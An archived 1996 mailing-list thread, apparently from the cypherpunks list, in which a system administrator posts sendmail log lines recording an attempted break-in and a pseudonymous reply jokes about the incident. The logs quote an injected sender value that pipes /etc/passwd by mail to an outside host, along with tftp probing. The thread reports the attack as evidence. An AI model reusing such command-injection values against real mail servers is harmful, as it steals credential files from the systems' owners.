NODE 224a3534Black Unicorn attempts computer break in
anon-remailer@utopia.hacktic.nl (Anonymous)Wed, 27 Mar 1996 21:35:40 +0800
Date: Wed, 27 Mar 1996 16:58:14 +1100
Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
Subject: Strange things afoot at my SMTP port...
To: Multiple recipients of list SERVER-LINUX
<SERVER-LINUX@NETSPACE.ORG>
I just found these while going through my messages file... do I
have any need to be concerned???
(unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
received from unicorn.it.wsu.edu [1
Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
nrcpts=0, proto=SMTP, relay=uni
There were also attempts at connecting to my tftp port, although
at the time, in.tftpd wasn't on the system (it is now, and is also
in my hosts.deny to all except for local)
Thanks...
Interspace Australia Pty Ltd
Steve Gibson - System Administrator
<steve@interspace.com.au>
NODE 964ad5e6Re: Black Unicorn attempts computer break in
Black Unicorn <unicorn@schloss.li>Thu, 28 Mar 1996 16:42:20 +0800
On Wed, 27 Mar 1996, Anonymous wrote:
> Date: Wed, 27 Mar 1996 16:58:14 +1100
> Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
> Subject: Strange things afoot at my SMTP port...
> To: Multiple recipients of list SERVER-LINUX
> <SERVER-LINUX@NETSPACE.ORG>
>
> I just found these while going through my messages file... do I
> have any need to be concerned???
> (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
>
> Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
> received from unicorn.it.wsu.edu [1
> Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
> nrcpts=0, proto=SMTP, relay=uni
>
> There were also attempts at connecting to my tftp port, although
> at the time, in.tftpd wasn't on the system (it is now, and is also
> in my hosts.deny to all except for local)
>
> Thanks...
You should be deeply concerned.
It's clear that I have been having blackouts again.
>
> Interspace Australia Pty Ltd
> Steve Gibson - System Administrator
> <steve@interspace.com.au>
---
My prefered and soon to be permanent e-mail address: unicorn@schloss.li
"In fact, had Bancroft not existed, potestas scientiae in usu est
Franklin might have had to invent him." in nihilum nil posse reverti
00B9289C28DC0E55 E16D5378B81E1C96 - Finger for Current Key Information